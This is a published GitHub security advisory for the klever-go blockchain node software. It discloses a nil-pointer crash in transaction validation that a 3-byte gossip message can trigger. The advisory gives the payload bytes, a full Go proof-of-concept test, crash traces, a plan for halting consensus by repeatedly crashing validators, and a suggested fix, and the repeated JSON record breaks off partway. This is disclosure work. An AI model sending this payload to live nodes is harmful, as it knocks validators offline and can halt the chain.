GHSA-RM5C-5X2P-48WR
Vulnerability from github – Published: 2026-06-05 16:42 – Updated: 2026-06-05 16:42Summary
Every transaction gossiped on the klever-go P2P network is decoded and validated
synchronously inside the libp2p pubsub topic-validator callback. The validator
txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil
check. A protobuf Transaction whose embedded RawData sub-message is omitted
decodes to RawData == nil, so validating it triggers a nil-pointer panic.
The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and
klever's own network/p2p layer install no recover(), so the panic propagates and
crashes the entire node process. The attacker payload is a 3-byte protobuf message;
no validator key, stake, funds, or on-chain account is required. Aimed at enough of
the BLS validator set, repeated delivery halts block production (chain halt).
Affected component
- Root cause:
core/versioning/txVersionChecker.go:22 - Reached via:
core/process/transaction/interceptedTransaction.go:203(integrity) and:154(CheckValidity) - Production tx-topic path:
core/process/interceptors/multiDataInterceptor.go:171and:223 - Unprotected caller:
network/p2p/libp2p/netMessenger.gopubsubCallback(no recover) - Topic wiring:
core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go(createOneTxInterceptor)
Details
Synchronous validation path, no recovery at any frame:
libp2p pubsubCallback network/p2p/libp2p/netMessenger.go (no recover)
-> MultiDataInterceptor.ProcessReceivedMessage core/process/interceptors/multiDataInterceptor.go:171
-> interceptedData(...) core/process/interceptors/multiDataInterceptor.go:223
-> InterceptedTransaction.CheckValidity core/process/transaction/interceptedTransaction.go:154
-> integrity() core/process/transaction/interceptedTransaction.go:203
-> txVersionChecker.CheckTxVersion(tx) core/versioning/txVersionChecker.go:22 <-- nil deref
Root cause (core/versioning/txVersionChecker.go):
func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
if tx.RawData.Version < tvc.minTxVersion { // tx.RawData is nil -> panic
return process.ErrInvalidTransactionVersion
}
return nil
}
integrity() calls CheckTxVersion as its very first statement, before any
RawData nil-check, and CheckValidity() runs before the whitelist / originator-
election gate in the interceptor, so node-role and whitelist restrictions do not
protect this path.
Preconditions
- Attacker runs an ordinary libp2p peer reachable to the target via normal peering /
kad-dht discovery on the
transactionsgossip topic. - Production runs with
withMessageSigning = true, which only requires the gossip message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized). - No special config or feature flag; the tx interceptor is built unconditionally and
subscribes to
transactionson every node.
Impact
- Deterministic, immediate crash of any targeted node (validator, sentry, or observer) from a single ~3-byte message.
- Gossipsub validates before relaying, so the victim does not forward the crashing message; the attacker delivers it directly to each target (one tiny message/node).
- With auto-restart (systemd), re-sending sustains the outage.
- Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain.
- NOTE: the HTTP
POST /transaction/sendpath is NOT crash-exploitable - the REST server usesgin.Default()(Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor.
Exploit cost / attack complexity
- Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).
- Complexity: LOW. Unauthenticated, remote, deterministic.
PoC-Source
Scenario
- Build the malicious transaction as it appears on the wire: a protobuf Transaction
with RawData omitted (plus a throwaway Signature so the batch entry looks like a
real tx). With the production proto marshalizer this encodes to 3 bytes
(12 01 78) and round-trips back to RawData == nil.
- Feed it through the REAL production interceptors. The transactions gossip topic is
served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go,
createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx
gossip message and calls ProcessReceivedMessage, which is precisely what the
panic-free libp2p pubsubCallback invokes in production. A second test drives the
generic SingleDataInterceptor to show the bug is in the shared validation chain.
- The data factory is a faithful copy of the production interceptedTxDataFactory.Create:
it builds a genuine *InterceptedTransaction. No validation behavior is stubbed;
only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs
on the first line of integrity(), upstream of any mock.
How to run
1. git clone https://github.com/klever-io/klever-go && cd klever-go
(Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.)
2. Save the source below as core/process/interceptors/poc_nil_rawdata_dos_test.go.
3. Run either (separately - the first panic aborts the test binary):
- Production tx-topic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
- Generic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
- Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).
Full PoC source (poc_nil_rawdata_dos_test.go):
// Target component: klever-go P2P transaction interceptor (network availability)
// core/process/transaction/interceptedTransaction.go
// core/versioning/txVersionChecker.go:22
// Vulnerability type: Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
// CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
// Every gossiped transaction is decoded and validated synchronously inside the
// libp2p pubsub topic-validator callback
// (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
// recover(). The validation chain is:
//
// (Multi|Single)DataInterceptor.ProcessReceivedMessage
// -> InterceptedTransaction.CheckValidity
// -> integrity()
// -> txVersionChecker.CheckTxVersion(tx) // tx.RawData.Version <-- nil deref
//
// CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
// Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
// so an unauthenticated peer can broadcast a few bytes that panic the validation
// goroutine and crash the entire node process. Repeating it against the validator
// set halts consensus.
//
// How to run:
// 1) git clone https://github.com/klever-io/klever-go && cd klever-go
// 2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go
// 3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
// The test process aborts with:
// panic: runtime error: invalid memory address or nil pointer dereference
// ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
// ... InterceptedTransaction.integrity ... -> CheckValidity
// ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
// i.e. the crash originates from the interceptor's synchronous message-handling frame,
// exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).
package interceptors_test
import (
"testing"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/process"
"github.com/klever-io/klever-go/core/process/interceptors"
txproc "github.com/klever-io/klever-go/core/process/transaction"
"github.com/klever-io/klever-go/core/throttler"
"github.com/klever-io/klever-go/core/versioning"
cryptoMock "github.com/klever-io/klever-go/crypto/mock"
"github.com/klever-io/klever-go/data/batch"
dataTransaction "github.com/klever-io/klever-go/data/transaction"
)
// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData
// field is omitted. This is the entire attacker payload.
func buildMaliciousTxBytes(t *testing.T) []byte {
m := &mock.ProtoMarshalizerMock{}
maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }
buff, err := m.Marshal(maliciousTx)
if err != nil {
t.Fatalf("marshal malicious tx: %v", err)
}
return buff
}
// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:
// it builds a genuine *InterceptedTransaction from the received bytes. No validation
// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.
type pocTxFactory struct{}
func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {
m := &mock.ProtoMarshalizerMock{}
return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{
TxBuff: buff,
ProtoMarshalizer: m,
SignMarshalizer: m,
Hasher: mock.HasherMock{},
KeyGen: &cryptoMock.SingleSignKeyGenMock{},
Signer: &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},
PubkeyConv: &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},
WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},
ChainID: []byte("chainID"),
TxSignHasher: mock.HasherMock{},
FeeHandler: &mock.FeeHandlerStub{
CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {
return &dataTransaction.CostResponse{}, nil
},
},
TxVersionChecker: versioning.NewTxVersionChecker(0),
ForkController: &mock.ForkControllerStub{},
})
}
func (pocTxFactory) IsInterfaceNil() bool { return false }
// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the
// "transactions" gossip topic, which is served by a MultiDataInterceptor (see
// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,
// func createOneTxInterceptor).
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
protoMarsh := &mock.ProtoMarshalizerMock{}
// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
batchBytes, err := protoMarsh.Marshal(b)
if err != nil {
t.Fatalf("marshal batch: %v", err)
}
th, _ := throttler.NewNumGoRoutinesThrottler(5)
mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
Topic: "transactions",
Marshalizer: protoMarsh,
DataFactory: pocTxFactory{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: th,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("self"),
})
if err != nil {
t.Fatalf("build interceptor: %v", err)
}
msg := &mock.P2PMessageMock{
DataField: batchBytes,
TopicField: "transactions",
PeerField: core.PeerID("attacker"),
}
// In production this is called by the libp2p pubsub callback, which has no recover().
// The nil-pointer panic therefore propagates and crashes the node process.
_ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
t.Log("no panic: node survived -> NOT vulnerable")
}
// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic
// single-item interceptor path, demonstrating the bug is in the shared validation
// chain, not in one interceptor variant.
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
th, _ := throttler.NewNumGoRoutinesThrottler(5)
sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
Topic: "transactions",
DataFactory: pocTxFactory{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: th,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("self"),
})
if err != nil {
t.Fatalf("build interceptor: %v", err)
}
msg := &mock.P2PMessageMock{
DataField: buildMaliciousTxBytes(t),
TopicField: "transactions",
PeerField: core.PeerID("attacker"),
}
_ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
t.Log("no panic: node survived -> NOT vulnerable")
}
PoC-Results
Result A - production MultiDataInterceptor (the transactions gossip topic):
$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
=== RUN TestPoC_NilRawData_MultiDataInterceptor
--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]
goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
/usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
.../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
.../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
.../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)
.../core/process/interceptors/multiDataInterceptor.go:223 +0x9c
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)
.../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)
.../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef
FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s
FAIL
Result B - generic SingleDataInterceptor (same root cause via the shared chain):
$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
=== RUN TestPoC_NilRawData_SingleDataInterceptor
--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]
goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
/usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
.../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
.../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
.../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)
.../core/process/interceptors/singleDataInterceptor.go:118 +0x12e
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)
.../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1
FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s
FAIL
Interpretation
- Both runs abort the process with SIGSEGV originating at txVersionChecker.go:22
(tx.RawData.Version), reached through the real interceptor's synchronous
ProcessReceivedMessage frame - the exact frame the recover-free libp2p pubsub
callback executes in production. A recover()-less crash here = full node process exit.
- Round-trip check (production tools/marshal.ProtoMarshalizer): the malicious tx is
3 bytes 12 01 78 and decodes to RawData == nil, confirming the trigger is a
valid, attacker-craftable wire message (not a malformed blob rejected earlier).
Suggested fix
Primary (root cause) - make CheckTxVersion nil-safe / reject RawData == nil early:
func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
if tx == nil || tx.RawData == nil {
return process.ErrInvalidTransactionVersion
}
if tx.RawData.Version < tvc.minTxVersion {
return process.ErrInvalidTransactionVersion
}
return nil
}
Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions).
Defense-in-depth:
- Wrap the synchronous body of pubsubCallback (and/or ProcessReceivedMessage) in a
recover() so a single malformed message can never abort the process.
- Audit the other direct inTx.tx.RawData.* dereferences in
interceptedTransaction.go (chainID/sender/contract/nonce/fee getters) for the same
nil-input class.
Duplicate check (vs published advisories)
Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,
GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:
different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM
read-only isolation); the advisory texts never mention RawData, CheckTxVersion,
txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already
present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is
adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.17"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klever-io/klever-go"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.14"
},
{
"fixed": "1.7.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:42:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nEvery transaction gossiped on the klever-go P2P network is decoded and validated\nsynchronously inside the libp2p pubsub topic-validator callback. The validator\n`txVersionChecker.CheckTxVersion` dereferences `tx.RawData.Version` with no nil\ncheck. A protobuf `Transaction` whose embedded `RawData` sub-message is omitted\ndecodes to `RawData == nil`, so validating it triggers a nil-pointer panic.\n\nThe libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and\nklever\u0027s own `network/p2p` layer install no `recover()`, so the panic propagates and\ncrashes the entire node process. The attacker payload is a 3-byte protobuf message;\nno validator key, stake, funds, or on-chain account is required. Aimed at enough of\nthe BLS validator set, repeated delivery halts block production (chain halt).\n\n## Affected component\n- Root cause: `core/versioning/txVersionChecker.go:22`\n- Reached via: `core/process/transaction/interceptedTransaction.go:203` (integrity) and `:154` (CheckValidity)\n- Production tx-topic path: `core/process/interceptors/multiDataInterceptor.go:171` and `:223`\n- Unprotected caller: `network/p2p/libp2p/netMessenger.go` `pubsubCallback` (no recover)\n- Topic wiring: `core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go` (`createOneTxInterceptor`)\n\n## Details\nSynchronous validation path, no recovery at any frame:\n\n```\nlibp2p pubsubCallback network/p2p/libp2p/netMessenger.go (no recover)\n -\u003e MultiDataInterceptor.ProcessReceivedMessage core/process/interceptors/multiDataInterceptor.go:171\n -\u003e interceptedData(...) core/process/interceptors/multiDataInterceptor.go:223\n -\u003e InterceptedTransaction.CheckValidity core/process/transaction/interceptedTransaction.go:154\n -\u003e integrity() core/process/transaction/interceptedTransaction.go:203\n -\u003e txVersionChecker.CheckTxVersion(tx) core/versioning/txVersionChecker.go:22 \u003c-- nil deref\n```\n\nRoot cause (`core/versioning/txVersionChecker.go`):\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx.RawData.Version \u003c tvc.minTxVersion { // tx.RawData is nil -\u003e panic\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\n\n`integrity()` calls `CheckTxVersion` as its very first statement, before any\n`RawData` nil-check, and `CheckValidity()` runs before the whitelist / originator-\nelection gate in the interceptor, so node-role and whitelist restrictions do not\nprotect this path.\n\n## Preconditions\n- Attacker runs an ordinary libp2p peer reachable to the target via normal peering /\n kad-dht discovery on the `transactions` gossip topic.\n- Production runs with `withMessageSigning = true`, which only requires the gossip\n message to be signed by the attacker\u0027s OWN libp2p peer key (a self-generated\n identity; NOT a validator key, NOT funded, NOT authorized).\n- No special config or feature flag; the tx interceptor is built unconditionally and\n subscribes to `transactions` on every node.\n\n## Impact\n- Deterministic, immediate crash of any targeted node (validator, sentry, or\n observer) from a single ~3-byte message.\n- Gossipsub validates before relaying, so the victim does not forward the crashing\n message; the attacker delivers it directly to each target (one tiny message/node).\n- With auto-restart (systemd), re-sending sustains the outage.\n- Directed at \u003e 1/3 of the BLS validator set, this prevents consensus and halts the chain.\n- NOTE: the HTTP `POST /transaction/send` path is NOT crash-exploitable - the REST\n server uses `gin.Default()` (Recovery middleware) and returns HTTP 500. The\n exploitable vector is the P2P interceptor.\n\n## Exploit cost / attack complexity\n- Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).\n- Complexity: LOW. Unauthenticated, remote, deterministic.\n\n## PoC-Source\n\nScenario\n- Build the malicious transaction as it appears on the wire: a protobuf `Transaction`\n with `RawData` omitted (plus a throwaway `Signature` so the batch entry looks like a\n real tx). With the production proto marshalizer this encodes to 3 bytes\n (`12 01 78`) and round-trips back to `RawData == nil`.\n- Feed it through the REAL production interceptors. The `transactions` gossip topic is\n served by a `MultiDataInterceptor` (`baseInterceptorsContainerFactory.go`,\n `createOneTxInterceptor`); the test wraps the tx in a `Batch` exactly like a bulk-tx\n gossip message and calls `ProcessReceivedMessage`, which is precisely what the\n panic-free libp2p `pubsubCallback` invokes in production. A second test drives the\n generic `SingleDataInterceptor` to show the bug is in the shared validation chain.\n- The data factory is a faithful copy of the production `interceptedTxDataFactory.Create`:\n it builds a genuine `*InterceptedTransaction`. No validation behavior is stubbed;\n only leaf crypto/marshal helpers use the repo\u0027s own in-tree mocks. The panic occurs\n on the first line of `integrity()`, upstream of any mock.\n\nHow to run\n1. `git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go`\n (Go toolchain matching go.mod `go 1.25.7`; verified locally on go1.26.3.)\n2. Save the source below as `core/process/interceptors/poc_nil_rawdata_dos_test.go`.\n3. Run either (separately - the first panic aborts the test binary):\n - Production tx-topic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v`\n - Generic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v`\n- Dependencies: none beyond the repo\u0027s own go.mod (uses in-repo mocks only).\n\nFull PoC source (`poc_nil_rawdata_dos_test.go`):\n\n```go\n// Target component: klever-go P2P transaction interceptor (network availability)\n// core/process/transaction/interceptedTransaction.go\n// core/versioning/txVersionChecker.go:22\n// Vulnerability type: Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)\n// CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.\n//\n// Summary:\n// Every gossiped transaction is decoded and validated synchronously inside the\n// libp2p pubsub topic-validator callback\n// (network/p2p/libp2p/netMessenger.go -\u003e pubsubCallback). That callback has NO\n// recover(). The validation chain is:\n//\n// (Multi|Single)DataInterceptor.ProcessReceivedMessage\n// -\u003e InterceptedTransaction.CheckValidity\n// -\u003e integrity()\n// -\u003e txVersionChecker.CheckTxVersion(tx) // tx.RawData.Version \u003c-- nil deref\n//\n// CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf\n// Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),\n// so an unauthenticated peer can broadcast a few bytes that panic the validation\n// goroutine and crash the entire node process. Repeating it against the validator\n// set halts consensus.\n//\n// How to run:\n// 1) git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go\n// 2) cp \u003cthis file\u003e core/process/interceptors/poc_nil_rawdata_dos_test.go\n// 3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v\n//\n// Expected output:\n// The test process aborts with:\n// panic: runtime error: invalid memory address or nil pointer dereference\n// ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22\n// ... InterceptedTransaction.integrity ... -\u003e CheckValidity\n// ... (Multi|Single)DataInterceptor.ProcessReceivedMessage\n// i.e. the crash originates from the interceptor\u0027s synchronous message-handling frame,\n// exactly where the panic-free libp2p pubsub callback would call it in production.\n//\n// Dependencies: none beyond the repo\u0027s own go.mod (uses in-repo mocks only).\n\npackage interceptors_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/process\"\n\t\"github.com/klever-io/klever-go/core/process/interceptors\"\n\ttxproc \"github.com/klever-io/klever-go/core/process/transaction\"\n\t\"github.com/klever-io/klever-go/core/throttler\"\n\t\"github.com/klever-io/klever-go/core/versioning\"\n\tcryptoMock \"github.com/klever-io/klever-go/crypto/mock\"\n\t\"github.com/klever-io/klever-go/data/batch\"\n\tdataTransaction \"github.com/klever-io/klever-go/data/transaction\"\n)\n\n// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData\n// field is omitted. This is the entire attacker payload.\nfunc buildMaliciousTxBytes(t *testing.T) []byte {\n\tm := \u0026mock.ProtoMarshalizerMock{}\n\tmaliciousTx := \u0026dataTransaction.Transaction{ /* RawData: nil */ }\n\tbuff, err := m.Marshal(maliciousTx)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal malicious tx: %v\", err)\n\t}\n\treturn buff\n}\n\n// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:\n// it builds a genuine *InterceptedTransaction from the received bytes. No validation\n// behavior is stubbed; only leaf crypto/marshal helpers use the repo\u0027s standard mocks.\ntype pocTxFactory struct{}\n\nfunc (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {\n\tm := \u0026mock.ProtoMarshalizerMock{}\n\treturn txproc.NewInterceptedTransaction(\u0026txproc.InterceptedTransactionArgs{\n\t\tTxBuff: buff,\n\t\tProtoMarshalizer: m,\n\t\tSignMarshalizer: m,\n\t\tHasher: mock.HasherMock{},\n\t\tKeyGen: \u0026cryptoMock.SingleSignKeyGenMock{},\n\t\tSigner: \u0026cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},\n\t\tPubkeyConv: \u0026mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},\n\t\tWhiteListerVerifiedTxs: \u0026mock.WhiteListHandlerStub{},\n\t\tChainID: []byte(\"chainID\"),\n\t\tTxSignHasher: mock.HasherMock{},\n\t\tFeeHandler: \u0026mock.FeeHandlerStub{\n\t\t\tCheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {\n\t\t\t\treturn \u0026dataTransaction.CostResponse{}, nil\n\t\t\t},\n\t\t},\n\t\tTxVersionChecker: versioning.NewTxVersionChecker(0),\n\t\tForkController: \u0026mock.ForkControllerStub{},\n\t})\n}\nfunc (pocTxFactory) IsInterfaceNil() bool { return false }\n\n// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the\n// \"transactions\" gossip topic, which is served by a MultiDataInterceptor (see\n// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,\n// func createOneTxInterceptor).\nfunc TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {\n\tprotoMarsh := \u0026mock.ProtoMarshalizerMock{}\n\n\t// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.\n\tb := \u0026batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}\n\tbatchBytes, err := protoMarsh.Marshal(b)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal batch: %v\", err)\n\t}\n\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tmdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{\n\t\tTopic: \"transactions\",\n\t\tMarshalizer: protoMarsh,\n\t\tDataFactory: pocTxFactory{},\n\t\tProcessor: \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler: th,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID: core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := \u0026mock.P2PMessageMock{\n\t\tDataField: batchBytes,\n\t\tTopicField: \"transactions\",\n\t\tPeerField: core.PeerID(\"attacker\"),\n\t}\n\n\t// In production this is called by the libp2p pubsub callback, which has no recover().\n\t// The nil-pointer panic therefore propagates and crashes the node process.\n\t_ = mdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\n\t// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).\n\tt.Log(\"no panic: node survived -\u003e NOT vulnerable\")\n}\n\n// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic\n// single-item interceptor path, demonstrating the bug is in the shared validation\n// chain, not in one interceptor variant.\nfunc TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tsdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{\n\t\tTopic: \"transactions\",\n\t\tDataFactory: pocTxFactory{},\n\t\tProcessor: \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler: th,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID: core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := \u0026mock.P2PMessageMock{\n\t\tDataField: buildMaliciousTxBytes(t),\n\t\tTopicField: \"transactions\",\n\t\tPeerField: core.PeerID(\"attacker\"),\n\t}\n\n\t_ = sdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\tt.Log(\"no panic: node survived -\u003e NOT vulnerable\")\n}\n```\n\n## PoC-Results\n\nResult A - production `MultiDataInterceptor` (the `transactions` gossip topic):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v\n=== RUN TestPoC_NilRawData_MultiDataInterceptor\n--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)\n .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)\n .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)\n .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef\nFAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s\nFAIL\n```\n\nResult B - generic `SingleDataInterceptor` (same root cause via the shared chain):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v\n=== RUN 